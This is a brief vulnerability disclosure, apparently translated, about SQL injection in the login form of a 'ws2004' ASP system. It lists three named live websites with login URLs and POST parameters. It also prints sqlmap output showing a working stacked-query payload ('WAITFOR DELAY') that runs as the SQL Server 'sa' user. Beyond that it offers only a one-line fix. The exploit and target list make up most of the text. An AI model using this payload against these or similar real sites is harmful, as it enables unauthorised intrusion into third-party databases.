General POST injection vulnerability in a system

General POST injection vulnerability in a system

General POST injection vulnerability in a system

 

Official case test: http://www.suyaxing.com: 81/ws2004/Model/login. aspPOST: PW = 88952634 & SysUser = 0 & UN = 88952634 parameter: UN can also capture packets

 

 

 

 

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: POSTParameter: UN    Type: stacked queries    Title: Microsoft SQL Server/Sybase stacked queries    Payload: UN=admin'; WAITFOR DELAY '0:0:5'--&PW=admin&SysUser=0---web server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2000current user:    'sa'

Case 2: http://www.hn26z.com/ws2004/Model/login.aspPOST:PW=88952634&SysUser=0&UN=88952634

 

Case Test 3: http://www.sdjnzx.com/ws2004/Model/login.aspPOST:PW=88952634&SysUser=0&UN=88952634

 

 

Solution:

Filter Login Parameters